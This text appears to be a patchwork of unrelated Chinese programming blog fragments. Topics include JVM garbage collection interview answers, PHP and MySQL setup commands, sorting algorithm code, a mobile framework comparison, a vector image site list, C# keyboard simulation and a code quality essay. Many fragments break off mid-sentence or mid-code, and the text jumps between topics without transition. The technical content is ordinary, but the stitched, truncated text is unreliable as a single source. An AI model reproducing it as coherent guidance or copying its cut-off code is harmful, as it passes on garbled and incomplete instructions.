from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=1) 查看数据集形状:
安装 PHP 7.3 on Ubuntu sudo apt-get install python-software-properties sudo add-apt-repository ppa:ondrej/php sudo apt-get update sudo apt-get install -y php7.3 查看PHP版本:
php -v PHP 7.3.0-1+ubuntu18.04.1+deb.sury.org+1 (cli) (built: Dec 6 2018 20:24:55) ( NTS ) Copyright (c) 1997-2018 The PHP Group Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies with Zend OPcache v7.3.0-1+ubuntu18.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies 安装 PHP 7.2 on Ubuntu sudo apt-get install python-software-properties sudo add-apt-repository ppa:ondrej/php sudo apt-get update sudo apt-get install -y php7.
1、什么情况下会发生堆、栈内存溢出。 栈溢出:方法执行时创建的栈帧超过了栈的深度 ,最有可能就是方法递归调用。
堆溢出:heap space表示堆空间,堆中主要存储的是对象。不断的new对象会导致堆中的空间溢出
2、JVM的内存结构,Eden和Survivor比例。 JVM区域总体分两类,heap区和非heap区。
heap区又分为:
Eden Space(伊甸园)、Survivor Space(幸存者区)、Old Gen(老年代)。 非heap区又分:
Code Cache(代码缓存区);Perm Gen(永久代);(jdk1.8为元空间)Jvm Stack(java虚拟机栈);Local Method Statck(本地方法栈); 1个Eden区和2个Survivor区(分别叫from和to)。默认比例为8:1
3、JVM内存为什么要分成新生代,老年代,持久代。新生代中为什么要分为Eden和Survivor。 Eden和Survivor的比例是8:1.
首先说如果没有Survivor区会出现什么情况:此时每触发一次Minor GC,就会把Eden区的对象复制到老年代,这样当老年代满了之后会触发Major Gc(通常伴随着MinorGC,可以看做Full GC),比较耗时。
如果只有1个Survivor区,那当Eden区满了之后,就会复制对象到Survivor区,容易产生内存碎片化。严重影响性能。
所以使用2个Survivor区,始终保持有一个空的Survivor区,可以避免内存碎片化。
Survivor减少被送到老年代的对象,进而减少Full GC的发生,Survivor的预筛选保证,只有经历多次Minor GC还能在新生代中存活的对象,才会被送到老年代。
4、JVM中一次完整的GC流程是怎样的,对象如何晋升到老年代,说说你知道的几种主要的JVM参 数。 对象诞生即新生代->eden,在进行minor gc过程中,如果依旧存活,移动到from,变成Survivor,进行标记代数,如此检查一定次数后,晋升为老年代。
https://wangkang007.gitbooks.io/jvm/content/jvmcan_shu_xiang_jie.html
5、垃圾回收算法的实现原理 引用计数,标记-清除,标记-整理,复制,分代收集
https://blog.csdn.net/zdp072/article/details/51116081
6、你知道哪几种垃圾收集器,各自的优缺点,重点讲下cms和G1,包括原理,流程,优缺点。 Serial、parNew、ParallelScavenge、SerialOld、ParallelOld、CMS、G1 CMS:
一、初始标记:此时标记需要用户线程停下来;
二、并发标记:此时标记可以和用户线程一起运行;
三、重新标记:此时标记需要用户线程停下来,主要母的是为了对并发标记的垃圾进行审核;
四、并发清除:与用户线程一起与运行进行垃圾清除;
缺点:
1、CMS收集器对cpu资源非常敏感;
2、CMS收集器无法清除浮动垃圾;
3、cms基于标记清除的算法实现的,所以内存碎片会产生过多。
G1收集器:
1、初始标记:标记GC Root能直接关联的对象,并且修改TAMS的值,让下一阶段的用户进行并发运行是,能够正确运用Region创建新对象,这阶段需要停顿,但停顿时间很短
2、并发标记:从GC Root开始对堆进行可达性分析,找出存活的对象,这段耗时较长,但可以与用户线程并发执行。
3、最终标记是为了修正在并发标记阶段因用户程序继续运作导致标记产生变动的那一部分的标记记录,虚拟机将这部分标记记录在线程Remembered Set中,这阶段需要停顿线程,但是可并行执行。
4、筛选回收:首先对各个Region的回收价值和成本进行排序,根据用户所期待的GC停顿时间来制定回收计划,这个阶段也可以与用户线程并行执行,但由于只回收一部分的Region,时间是用户可控制的,而且停顿用户线程将大幅度提高收集效率。
7、当出现了内存溢出,你怎么排错。 首先分析是什么类型的内存溢出,对应的调整参数或者优化代码。 https://wangkang007.gitbooks.io/jvm/content/4jvmdiao_you.html
8、JVM内存模型的相关知识了解多少,比如重排序,内存屏障,happen-before,主内存,工作 内存等。 内存屏障:为了保障执行顺序和可见性的一条cpu指令 重排序:为了提高性能,编译器和处理器会对执行进行重拍 happen-before:操作间执行的顺序关系。有些操作先发生。 主内存:共享变量存储的区域即是主内存 工作内存:每个线程copy的本地内存,存储了该线程以读/写共享变量的副本 9、简单说说你了解的类加载器,可以打破双亲委派么,怎么打破。 类加载器 就是根据指定全限定名称将class文件加载到JVM内存,转为Class对象。
前言 这个问题已经是老生常谈了,更是经常被作为面试的压轴题出现,网上也有很多文章,但最近闲的无聊,然后就自己做了一篇笔记,感觉比之前理解更透彻了。
这篇笔记是我这两天看了数十篇文章总结出来的,所以相对全面一点,但由于我是做前端的,所以会比较重点分析浏览器渲染页面那一部分,至于其他部分我会罗列出关键词,感兴趣的可以自行查阅,
**注意:**本文的步骤是建立在,请求的是一个简单的 HTTP 请求,没有 HTTPS、HTTP2、最简单的 DNS、没有代理、并且服务器没有任何问题的基础上,尽管这是不切实际的。
大致流程 URL 解析DNS 查询TCP 连接处理请求接受响应渲染页面 一、URL 解析 地址解析:
首先判断你输入的是一个合法的 URL 还是一个待搜索的关键词,并且根据你输入的内容进行自动完成、字符编码等操作。
HSTS
由于安全隐患,会使用 HSTS 强制客户端使用 HTTPS 访问页面。详见:你所不知道的 HSTS。
其他操作
浏览器还会进行一些额外的操作,比如安全检查、访问限制(之前国产浏览器限制 996.icu)。
检查缓存
二、DNS 查询 基本步骤
1. 浏览器缓存
浏览器会先检查是否在缓存中,没有则调用系统库函数进行查询。
2. 操作系统缓存
操作系统也有自己的 DNS缓存,但在这之前,会向检查域名是否存在本地的 Hosts 文件里,没有则向 DNS 服务器发送查询请求。
3. 路由器缓存
路由器也有自己的缓存。
4. ISP DNS 缓存
ISP DNS 就是在客户端电脑上设置的首选 DNS 服务器,它们在大多数情况下都会有缓存。
根域名服务器查询
在前面所有步骤没有缓存的情况下,本地 DNS 服务器会将请求转发到互联网上的根域,下面这个图很好的诠释了整个流程:
根域名服务器:维基百科
需要注意的点
递归方式:一路查下去中间不返回,得到最终结果才返回信息(浏览器到本地DNS服务器的过程)迭代方式,就是本地DNS服务器到根域名服务器查询的方式。什么是 DNS 劫持前端 dns-prefetch 优化 三、TCP 连接 TCP/IP 分为四层,在发送数据时,每层都要对数据进行封装:
在运行C++程序后,CMD出现以下多余信息
可以按以下方法设置来取消显示
工具->选项->调试-->常规 右侧拉到最下面,在选项“调试停止时自动关闭控制台”打勾。
再次运行
这样就正常了。
#include <QCoreApplication>
#include<iostream>
#include<iomanip>
#include<fstream>
#include<QTextCodec>
#include<qdebug>
using namespace std;
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
QTextCodec::setCodecForLocale(QTextCodec::codecForName("GBK"));
QString qq="C:\\Users\\威\\Desktop\\a.txt";
char* ch;
QByteArray ba = qq.toLocal8Bit(); // must
ch=ba.data();
cout<<ch<<endl;
ifstream in(ch);
if (!in)
{
cout << "erro" <<endl;
}
for(string str;getline(in,str);){
cout<<str<<endl;
}
return a.exec();
}
参考链接:https://blog.csdn.net/qq_33148269/article/details/77685343
mount: 用于挂载Linux系统外的文件
-V:显示程序版本-h:显示辅助讯息-v:显示较讯息,通常和 -f 用来除错。-a:将 /etc/fstab 中定义的所有档案系统挂上。-F:这个命令通常和 -a 一起使用,它会为每一个 mount 的动作产生一个行程负责执行。在系统需要挂上大量 NFS 档案系统时可以加快挂上的动作。-f:通常用在除错的用途。它会使 mount 并不执行实际挂上的动作,而是模拟整个挂上的过程。通常会和 -v 一起使用。-n:一般而言,mount 在挂上后会在 /etc/mtab 中写入一笔资料。但在系统中没有可写入档案系统存在的情况下可以用这个选项取消这个动作。-s-r:等于 -o ro-w:等于 -o rw-L:将含有特定标签的硬盘分割挂上。-U:将档案分割序号为 的档案系统挂下。-L 和 -U 必须在/proc/partition 这种档案存在时才有意义。-t:指定档案系统的型态,通常不必指定。mount 会自动选择正确的型态。-o async:打开非同步模式,所有的档案读写动作都会用非同步模式执行。-o sync:在同步模式下执行。-o atime、-o noatime:当 atime 打开时,系统会在每次读取档案时更新档案的『上一次调用时间』。当我们使用 flash 档案系统时可能会选项把这个选项关闭以减少写入的次数。-o auto、-o noauto:打开/关闭自动挂上模式。-o defaults:使用预设的选项 rw, suid, dev, exec, auto, nouser, and async.-o dev、-o nodev-o exec、-o noexec允许执行档被执行。-o suid、-o nosuid:允许执行档在 root 权限下执行。-o user、-o nouser:使用者可以执行 mount/umount 的动作。-o remount:将一个已经挂下的档案系统重新用不同的方式挂上。例如原先是唯读的系统,现在用可读写的模式重新挂上。-o ro:用唯读模式挂上。-o rw:用可读写模式挂上。-o loop=:使用 loop 模式用来将一个档案当成硬盘分割挂上系统。 示例1:
目标:把window共享文件夹挂载到linux上面。
例子:
select (@i:=@i+1) seqNo,system_id systemId,system_name systemName from systemParam,(select @i:=0) seq;
select (@i:=@i+n) 序号别名,表中其它字段 from 表名,(select @i:=0) 别名;
其中n表示自增值,(select @i:=0) 别名相当于虚拟了一个变量i=0的表;
1:APICloud 2017年接触到APICloud是杭州一家小外包,老板说要做一个关于滑雪的APP,当时前端开发就我自己,与六七个PHP一起开发。老板当时的条件是要上App Store,就这一条,思来想去加上朋友推荐,以及直接用hbuidder打包测试,发现APICloud比较好用,且文档比较详细。当时需求不是太明确,所以一路上磕磕绊绊,最后用vue加APICloud搭出了最原始的版本。建议如果单单做Android和ios比较推荐此框架。
app需求:
1:中英切换。
2:长视频上传。
3:支付宝支付。
4:聊天功能。
其他简单的需求不在一一表述,反正以上功能都已实现。
APICloud缺点:因为用人家的框架,所以某些插件可能不太适合工作所需,然后就出现了一个问题,搜出来的插件收费,所以不打算付费的话就不要用了,不过插件还好,一般三四百吧,不过跟老板说说,老板一般还是会同意的。然后就是文档一般就是分部的,想用什么东西需要自己把东西组装在一起。所以对脑残玩家不太友好。
APICloud优点:比如说获取硬件设施就比较好用。最方便的还是它的文档,自己组装简单方便比较详细,打包封壳比较容易,脑残式配置,小白级别的都能自己倒腾出来,而且几乎所有的需求差不多都有,而且因为框架比较老。这个老是褒义词,所以自己出现的问题都能在社区里搜索到答案。
2:原生 公司是干区块链的,老板我觉得还是比较好的,要做一个小游戏我觉得挺简单,然后技术总监来了让我做游戏,而后是对接去哪网飞机票查询购买等需求。去上班以后发现公司有一个iOS和Android写两套代码,然后从app里跳转链接在APP打开,也是常用方法,也是比较奇葩。建议到是没有就是数据交换的时候要小心原生跟前端传值老恶心了。
app需求:
1:类似蚂蚁森林与农场的结合版。
2:去哪网的接口对接。
3:支付宝支付。
原生缺点:最大的缺点就是支付返回的问题,因为在支付是两套代码,所以是从链接到程序在到链接的模糊过程,出现问题以后很难察觉数据在某一步除了问题,因为是用vue的问题跳转支付后无法返回指定页面。而且不同手机兼容问题会改到死,所以手机版本仅支持Android5.0以上,且在iOS上会有各种奇葩问题,z-index不生效啦什么的。
原生优点:不用管乱七八糟的闪退问题,原生的体验就是好,然后跟我没啥关系.....然后没了........
3:uniapp 项目现在还在做所以知道的比较详细。今天为什么写这一篇文章,现在是凌晨一点,我为什么不睡觉,想的对我确实在等项目上线,一把辛酸泪,不过还好明天晚些来。uniapp最大的好处是什么,对就是一端多用,好也就好在一端多用,坏也坏在一端多用谁做谁知道,因为需求比较简单就不一一表述了。
uniapp缺点:因为要一端多用,所以要条件编译,所以干的慢,所以老板就觉得就几个页面还干那么慢,所以在评估项目时间请按两倍左右来,再少就只求多福吧,像微信小程序微信授权,在APP上就跑不动,因为小程序的现在,样式就定死了,就那几个样式有header头没头,所以样式问题如果插件没有就比较难实现了,还有就是因为框架比较新,所以出现某些问题搜的搜不到,在然后就是小程序限3M还是2M来着,,,,所以想做还大功能还全面的APP就不要想了,单单做一种例外。
uniapp优点:一端多用,做单一品种比较不错,简单方便,小巧。
至此以上就是我做这两三年的用的感受了,什么时候下班,我想下班...............................................................................................................................................................................................四点了,我还在,甚至还想赶个早饭。
寻找一些特别的,为众所不知的矢量图网站不是一件容易的事情,又要高质量,又要免费使用,尽管鱼和熊掌不能兼得,但是谁叫我们碰到了互联网时代呢,谁叫我们知道一句台词:一切皆有可能呢!这些免费的矢量图网站是我在互联网上搜索到的,经过权衡和对比,选择了9个比较不错的拿出来为大家分享。里面有的是博客网站,所以如果你对矢量图片有大量的研究,不如订阅他们,这样获取的速度较快,而且方便.
矢量图:计算机中显示的图形一般可以分为两大类——矢量图和位图。矢量图使用直线和曲线来描述图形,这些图形的元素是一些点、线、矩形、多边形、圆和弧线等等,它们都是通过数学公式计算获得的。例如一幅花的矢量图形实际上是由线段形成外框轮廓,由外框的颜色以及外框所封闭的颜色决定花显示出的颜色。由于矢量图形可通过公式计算获得,所以矢量图形文件体积一般较小。矢量图形最大的优点是无论放大、缩小或旋转等不会失真;最大的缺点是难以表现色彩层次丰富的逼真图像效果。Adobe公司的Illustrator、Corel公司的CorelDRAW是众多矢量图形设计软件中的佼佼者。大名鼎鼎的Flash MX制作的动画也是矢量图形动画。
1. Vecteezy
Vecteezy拥有非常多的高质量矢量图片,而且可视化选择,免费下载,毫无限制。
2. FreeVectors.net
FreeVectors.net 有一个庞大的矢量图片下载基地,可供免费下载。
3. You the Designer
博客站点,专门收集高质量的矢量图片。
4. Smashing Magazine
Smashing Magazine在互联网上小有名气,而且其提供的矢量图绝对不会让你失望。
5. BittBox
BittBox 又是另一个博客设计站点,发布的免费矢量图片,字体,素材,PS刷子等等。
6. GoMediaZine
设计工作室,所以值得信赖。
7. QVectors
Q Vectors 又一个伟大的矢量艺术收集画廊,里面有许多超级高品质的艺术图片提供下载。
8. Cool Vectors
Cool Vectors是一个日益完善的网站,去了它那里,其他的8个就不用去了,呵呵,所以放在第8个!
9. Vector4Free
如果在第8个你还是要去别的地方看看,那就去这里算了。
请问大虾你们有好的地方么?如果有请推荐!
原创文章转载请注明:转载自:挖酷网 【http://www.waacoo.com/】
本文链接:http://www.waacoo.com/design/9gefreevector-shiliangtu.html 转载于:https://www.cnblogs.com/hawkzhou/archive/2008/10/16/1313070.html
前面一篇由于文字太多,不给编辑,遂此篇出炉
LEETCODE-刷题个人笔记 Python(1-400)-TAG标签版本(一)
DFS&BFS (262)200. Number of Islands(Medium) 给定1d(陆地)和’0’(水)的2d网格图,计算岛屿数量。岛被水包围,通过水平或垂直连接相邻的土地而形成。
您可以假设网格的所有四个边都被水包围。
思路:
1、使用dfs
2、如果此处是1的话,就把周边所有1 换成X,防止再次访问(多个相邻的1只能当作一个岛屿)
def numIslands(self, grid): """ :type grid: List[List[str]] :rtype: int """ def sink(i, j): if 0 <= i < len(grid) and 0 <= j < len(grid[i]) and grid[i][j] == '1': grid[i][j] = 'X' map(sink, (i+1, i-1, i, i), (j, j, j+1, j-1)) return 1 return 0 return sum(sink(i, j) for i in range(len(grid)) for j in range(len(grid[i]))) (263)286 Walls and Gates(Medium) 您将获得使用这三个可能值初始化的m x n 2D网格。
查看原文,阅读最新文章,参与评论与交流
在这里,九九给大家比较一下四大排序的区别和优缺点,并把代码黏在下面,大家有需要自取,喜欢可以收藏哦~
收藏不点关注的都是小狗,小狗! 点赞不点关注的都是小猪,小猪! 时间复杂度 对于插入排序来说,一般情况下时间复杂度是O(n^2),而其他的三个排序算法时间复杂度是O(nlogn)。
但是这只是平均情况下,还有特殊情况。
如果对于基本有序的一组数据经行处理,那么插入排序会进化到O(nlogn)级别,而对于快速排序来说,则可能退化到O(n^2)级别。(为此快速排序优化了以时间种子选随机数来决定第一个元素——基数是谁,但是总体来说,还是没有插入排序优秀。)
而如果对于拥有大量相同元素的一组数据处理,归并排序就可能更占优势。但是快速排序还有一种优化算法——三路排序,直接有效地提高了排序的效率。
开辟新空间 归并排序需要重新开辟一份和所排数据大小一样的空间来进行排序。
而堆排序和插入排序只需要赋值的时候那一个额外空间,空间大小为O(1)。
对于快速排序,因为是一个归并的过程,额外空间就是归并的最大层数——O(logn)级别。
原地排序 归并排序必须开辟额外空间,来完成归并,才能完成排序。
而其他的排序都可以直接通过数组间交换元素来完成排序。
稳定性 什么叫稳定性呢?
其实很好理解,只不过是对于相等的元素来说,排序前和排序后,他们的位置不发生改变。
举个栗子:
4a 2 1 5 4b 8 3
排序之后稳定:1 2 3 4a 4b 5 8
排序之后不稳定:1 2 3 4b 4a 5 8
而插入排序和归并排序,都是稳定的排序。
快速排序和堆排序,都是不稳定的排序。
这个道理其实很简单,但也没办法讲,大家可以自己一步一步走走过程,会发现的确是这样。
总结 对于这四个算法来说,每种都有优缺点,但是比较之下,快速排序的优化发展的更顺利、更远,所以在有多种选择的时候,我们一般首选快速排序。
而如果确定了排序的对象需要考虑稳定性的话,通常选择归并排序。当然了,也可以写一个比较符号的运算符重载,以此来保证快速排序的稳定性。
而对于一些专门卡空间(很少见)的情况,对于时间放得更开的话,可以考虑插入排序和堆排序。
下面将四中算法贴在这里,喜欢请自取。(下次我一定写注释!这不是个好习惯)
//插入排序 #include <iostream> #include <algorithm> using namespace std; template<typename T> void insertionSort(T arr[], int n){ for( int i = 1 ; i < n ; i ++ ) { T e = arr[i]; int j; for (j = i; j > 0 && arr[j-1] > e; j--) arr[j] = arr[j-1]; arr[j] = e; } return; } template<typename T> void insertionSort(T arr[], int l, int r){ for( int i = l+1 ; i <= r ; i ++ ) { T e = arr[i]; int j; for (j = i; j > l && arr[j-1] > e; j--) arr[j] = arr[j-1]; arr[j] = e; } return; } //归并排序 #include <iostream> #include <algorithm> using namespace std; template<typename T> void __merge(T arr[], int l, int mid, int r){ T aux[r-l+1]; for( int i = l ; i <= r; i ++ ) aux[i-l] = arr[i]; int i = l, j = mid+1; for( int k = l ; k <= r; k ++ ){ if( i > mid ) { arr[k] = aux[j-l]; j ++;} else if( j > r ){ arr[k] = aux[i-l]; i ++;} else if( aux[i-l] < aux[j-l] ){ arr[k] = aux[i-l]; i ++;} else { arr[k] = aux[j-l]; j ++;} } } template<typename T> void __mergeSort(T arr[], int l, int r){ if( r - l <= 15 ){ insertionSort(arr, l, r); return; } int mid = (l+r)/2; __mergeSort(arr, l, mid); __mergeSort(arr, mid+1, r); if( arr[mid] > arr[mid+1] ) __merge(arr, l, mid, r); } template<typename T> void mergeSort(T arr[], int n){ __mergeSort( arr , 0 , n-1 ); } //快速排序(三路排序) #include <iostream> #include <ctime> #include <algorithm> using namespace std; template <typename T> int _partition(T arr[], int l, int r){ swap( arr[l] , arr[rand()%(r-l+1)+l] ); T v = arr[l]; int j = l; for( int i = l + 1 ; i <= r ; i ++ ) if( arr[i] < v ){ j ++; swap( arr[j] , arr[i] ); } swap( arr[l] , arr[j]); return j; } template <typename T> int _partition2(T arr[], int l, int r){ swap( arr[l] , arr[rand()%(r-l+1)+l] ); T v = arr[l]; int i = l+1, j = r; while( true ){ while( i <= r && arr[i] < v ) i ++; while( j >= l+1 && arr[j] > v ) j --; if( i > j ) break; swap( arr[i] , arr[j] ); i ++; j --; } swap( arr[l] , arr[j]); return j; } template <typename T> void _quickSort(T arr[], int l, int r){ // if( l >= r ) // return; if( r - l <= 15 ){ insertionSort(arr,l,r); return; } int p = _partition2(arr, l, r); _quickSort(arr, l, p-1 ); _quickSort(arr, p+1, r); } template <typename T> void quickSort(T arr[], int n){ srand(time(NULL)); _quickSort(arr, 0, n-1); } //堆排序 template<typename T> void __shiftDown(T a[],int n,int mm){ int m=mm; int count=n; while(m*2+1<count){ int k=m*2+1; if(k+1<count&&a[k+1]>a[k]){ k++; } if(a[k]<=a[m])break; swap(a[k],a[m]); m=k; } } template<typename T> void heapSort(T arr[],int n){ for(int i=(n-1)/2;i>=0;i--){ __shiftDown(arr,n,i); } for(int i=n-1;i>0;i--){ swap(arr[0],arr[i]); __shiftDown(arr,i,0); } }
起源 阅读源码发现jdk8中ConcurrentHashMap是基于synchronized来加锁实现多线程安全的,但是实现方式上与早期的HashTable又有了很大的区别,虽然都是使用synchronized来加锁,但是锁的粒度不一样,大致可以作如下理解:
HashTable JDK1.0版本开始提供,为了保证线程安全,内部使用了1把锁,读读、读写操作均会锁竞争HashTable这种键值对的存储结构很多场景会用到,但是并发性能太差,大神Doug Lea(被评为“世界上对Java影响力最大的个人”)实在看不下去了,在JDK5中贡献了ConcurrentHashMap,既然HashTable一把锁并发冲突太高,那么多搞几把锁不就OK了吗,也就是所谓的“分段加锁”,强制将Hash数组拆分成多个区间,这样子当操作不同的“段”时就不会冲突了,拆分后大神Doug Lea没有采用synchronized(当时JDK5时synchronized性能本身也比较差)来给每个段加锁,而是采用的是ReentrantLock(使用的是CAS机制性能在当时会更好些)从JDK6开始synchronized借鉴了CAS思想,引入了偏向锁、轻量级锁、重量锁等概念,在后期的版本和一些硬件中synchronized性能已经与ReentrantLock持平,甚至更好些JDK8中ConcurrentHashMap重新又使用synchronized关键字来加锁了,另外“分段加锁”理念已经过时,直接基于Hash数组中的每个元素进行加锁,这样子锁的粒度就更低了(比较好奇在JDK5时ConcurrentHashMa为什么不直接这么干) 介绍了这么多,现在我应该知道ConcurrentHashMap是线程安全的,而且优化了那么多个版本,然而它与非线程安全的HashMap读写性能那个更好呢
测试环境 本文中提及的代码,编译及运行过程均是在jdk8下操作的
mingyuedeMacBook-Pro:data mac$ java -version java version "1.8.0_192" Java(TM) SE Runtime Environment (build 1.8.0_192-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.192-b12, mixed mode) 测试对比 任何JVM参数均不使用 server模式下并堆大小(-server -Xms1G -Xmx1G) 说明:这种设置更加贴近生产环境,一般都会这么用
测试源码 有兴趣的小伙伴可以在电脑上试试,不用配置的电脑运行数据可能略有差异
package com.alioo.stresstest; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.Future; import java.util.concurrent.FutureTask; public class HashMapDemo { static List<Integer> list = Arrays.asList(new Integer[]{1, 2, 3, 4, 5}); //原始代码就是对HahMap/CurrenrtHashMap的探讨 //结合原始代码,先存放,后遍历,这里假若存放的是5条记录 int [] arr={1,2,3,4,5} public static void test(Map<Integer, Future> futures) { list.
找了半天,都是指向最新的vs版本,vs2019,我想用vs2017!!!
终于找到了,留个印记:
https://docs.microsoft.com/en-us/visualstudio/releasenotes/vs2017-relnotes
此方法同时适用于
Connecting to MySQL server … Access denied for user ‘root’@‘localhost’ (using password: YES)
1、在开始菜单中输入cmd,右击管理员运行!
在窗体中输入cd C:\Program Files\MySQL\MySQL Server 5.7\bin (进入mysql安装路径下的bin文件夹)
2、进入bin文件夹后运行mysqld --initialize 命令,这时你的mysql Server5.7下会自动生成一个data文件夹!
3、输入mysqld -install 提示 service successfully installed 。
4、输入net start mysql ,启动mysql服务
5、输入mysql -u root -p 回车,让我们输入密码,因为之前版本的mysql都是没有初始密码的,直接回车就可以,不过现在不行了,不输入密码会报错!
所以我们有修改或添加一个mysql的初始密码或用户!首先,我们要停止mysql服务!
1、停止mysql命令:net stop mysql就可以!
2.输入命令mysqld --skip-grant-tables 之后没有反应。就可以了,不过不要把窗体关了,我们另起一个doc窗体。同时也是用管理员运行!
3、我们在新打开的doc窗体中输入cd C:\Program Files\MySQL\MySQL Server 5.7\bin (进入mysql安装路径下的bin文件夹)
4、然后在在doc窗体输入:mysql -u root ,我们就进入了mysql数据库,如下图:
5、在doc窗体中输入:update mysql.user set authentication_string=password(‘123222’) where user=‘root’ and Host = ‘localhost’;
*特别提醒注意的一点是,新版的mysql数据库下的user表中已经没有Password字段了
与Swing一样,JavaFX依然提供了三种选择框,它们是复选框CheckBox、单选按钮RadioButton、下拉框ComboBox,分别说明如下:
一、复选框CheckBox 复选框允许同时勾选多个,已勾选的时候在方框内部打个勾,未勾选的时候显示空心方框。查看CheckBox的源码,发现它与Button控件都派生自抽象类ButtonBase,因而CheckBox拥有和Button同样的set***/get***方法。不同之处主要有以下两点:
1、关于勾选状态的设置与判断:调用setSelected方法可以设置复选框的勾选状态,调用isSelected方法可以判断复选框是否被勾选了。
2、关于勾选监听器的设置:先调用selectedProperty方法获得复选框的属性对象,再调用属性对象的addListener方法设置该复选框的勾选监听器。下面是给复选框设置单击监听器的代码例子:
CheckBox ck = new CheckBox("满意"); // 创建一个复选框 ck.selectedProperty().addListener(new ChangeListener<Boolean>() { // 设置复选框的勾选监听器 @Override public void changed(ObservableValue<? extends Boolean> arg0, Boolean arg1, Boolean arg2) { // 单击复选框会触发这里的changed方法 } }); 接下来举个具体的案例,餐厅的点餐系统要在界面上罗列各种菜肴,以便顾客勾选准备下单的菜品。简单起见先列出三道菜肴,对应三个复选框,编写完成的界面代码示例如下:
// 获取复选框的界面 private void getCheckBox(BorderPane borderPane) { VBox vbox = new VBox(); // 创建一个垂直箱子 HBox hbox = new HBox(); // 创建一个水平箱子 CheckBox ck1 = new CheckBox("麻婆豆腐"); // 创建一个复选框 CheckBox ck3 = new CheckBox("清蒸桂花鱼"); // 创建一个复选框 CheckBox ck2 = new CheckBox("
(一)声明外部方法
[DllImport("User32.dll")]
public static extern void keybd_event(byte bVK, byte bScan, Int32 dwFlags, int dwExtraInfo);
(二)首先通过切换输入法来说实现中文输入。即键盘CTRL+空格键切换输入法。
//切换输入法
private void changeInput()
{
//keybd_event函数的四个参数
//第一个参数:虚拟键码(键盘键码对照表见附录);
//第二个参数:硬件扫描码,一般设置为0即可;
//第三个参数:函数操作的一个标志位,如果值为KEYEVENTF_EXTENDEDKEY则该键被按下,也可设置为0即可,如果值为KEYEVENTF_KEYUP则该按键被释放;
//第四个参数:定义与击键相关的附加的32位值,一般设置为0即可。
//以下通过按下Ctrl+空格键切换输入法
keybd_event(0x11, 0, 0, 0); //0x11---ctrl 按下
keybd_event(32, 0, 0, 0); // 32--空格键按下
keybd_event(32, 0, 0x02, 0);// 32--空格键弹起
keybd_event(0x11, 0, 0x02, 0); //0x11---ctrl弹起
}
(三)当在中文输入状态时,在输入字母时,直接利用keybd_event模拟键盘输入,屏幕上会弹出当前使用的中文输入法的界面面板,并在其上列出可能的输入词汇。
private static void addNumkeyINput(byte input)
{
keybd_event(input, input, 0, 0);
keybd_event(input, input, 0x02, 0);
}
(四)理论上,通过keybd_event输入数字键,从可能的输入中文词汇中选择相应的结果即可。问题来啦:对于微软自带的拼音输入法,无法通过keybd_event输入数字来选择,(原因??)不过还好的是,发现若使用搜狗输入法,则可以用keybd_event输入数字来选择。
作者|马飞翔(泽畔)
出品|阿里巴巴新零售淘系技术部
导读:我们每天都与代码打交道,但当被问道什么是好的代码时,很多人可能会先愣一下,然后给出的回答要么比较空泛,要么比较散,没办法简单明了地概括出来。显然,这个问题并没有唯一的标准答案,谁都可以谈论自己的理解,今天谈谈我对于好代码的理解。
一句话概括
衡量代码质量的唯一有效标准:WTF/min —— Robert C. Martin
Bob大叔对于好代码的理解非常有趣,对我也有很大的启发。我们编写的代码,除了用于机器执行产生我们预期的效果以外,更多的时候是给人读的,这个读代码的可能是后来的维护人员,更多时候是一段时间后的作者本人。
我敢打赌每个人都遇到过这样的情况:过几周或者几个月之后,再看到自己写的代码,感觉一团糟,不禁怀疑人生。
我们自己写的代码,一段时间后自己看尚且如此,更别提拿给别人看了。
任何一个傻瓜都能写出计算机可以理解的代码。唯有写出人类容易理解的代码,才是优秀的程序员。—— Martin Fowler
所以,谈到好代码,首先跳入自己脑子里的一个词就是:整洁。
好的代码一定是整洁的,给阅读的人一种如沐春风,赏心悦目的感觉。
整洁的代码如同优美的散文。—— Grady Booch
好代码的特性
很难给好的代码下一个定义,相信很多人跟我一样不会认为整洁的代码就一定是好代码,但好代码一定是整洁的,整洁是好代码的必要条件。整洁的代码一定是高内聚低耦合的,也一定是可读性强、易维护的。
高内聚低耦合 高内聚低耦合几乎是每个程序员员都会挂在嘴边的,但这个词太过于宽泛,太过于正确,所以聪明的编程人员们提出了若干面向对象设计原则来衡量代码的优劣:
开闭原则 OCP (The Open-Close Principle)
单一职责原则 SRP (Single Responsibility Principle)
依赖倒置原则 DIP (Dependence Inversion Principle)
最少知识原则 LKP (Least Knowledge Principle)) / 迪米特法则 (Law Of Demeter)
里氏替换原则 LSP (Liskov Substitution Principle)
接口隔离原则 ISP (Interface Segregation Principle)
组合/聚合复用原则 CARP (Composite/Aggregate Reuse Principle)
这些原则想必大家都很熟悉了,是我们编写代码时的指导方针,按照这些原则开发的代码具有高内聚低耦合的特性。换句话说,我们可以用这些原则来衡量代码的优劣。
但这些原则并不是死板的教条,我们也经常会因为其他的权衡(例如可读性、复杂度等)违背或者放弃一些原则。比如子类拥有特性的方法时,我们很可能打破里氏替换原则。再比如,单一职责原则跟接口隔离原则有时候是冲突的,我们通常会舍弃接口隔离原则,保持单一职责。只要打破原则的理由足够充分,也并不见得是坏的代码。
可读性 代码只要具有了高内聚和低耦合就足够好了吗?并不见得,我认为代码还必须是易读的。好的代码无论是风格、结构还是设计上都应该是可读性很强的。可以从以下几个方面考虑整洁代码,提高可读性。
命名 大到项目名、包名、类名,小到方法名、变量名、参数名,甚至是一个临时变量的名称,其命名都是很严肃的事,好的名字需要斟酌。
公司的一切流程都是为了提升交付质量,提高市场竞争力,形成核心竞争力。
目前的研发管理流程,分为4部分:
step1:是否跟进项目step2:是否参加项目招投标step3:是否签订合同step4:确定项目验收及回款 Step1 描述:是否跟进项目,组建项目团队,一般是销售+方案+项目经理。
思路:判断客户想做这个事情的确定性,评估赢下项目的可能性和所需的预先投入,从而决定是否继续跟进;
内容:
1)商机预览
2)我们为什么要参加?从商务层面和战略层面
3)我们能否胜任?从解决方案分析、交付能力分析、竞争力分析、风险评估分析、下一步计划安排分析。
参与决策人员:销售经理、项目部经理等
对应项目管理知识点:
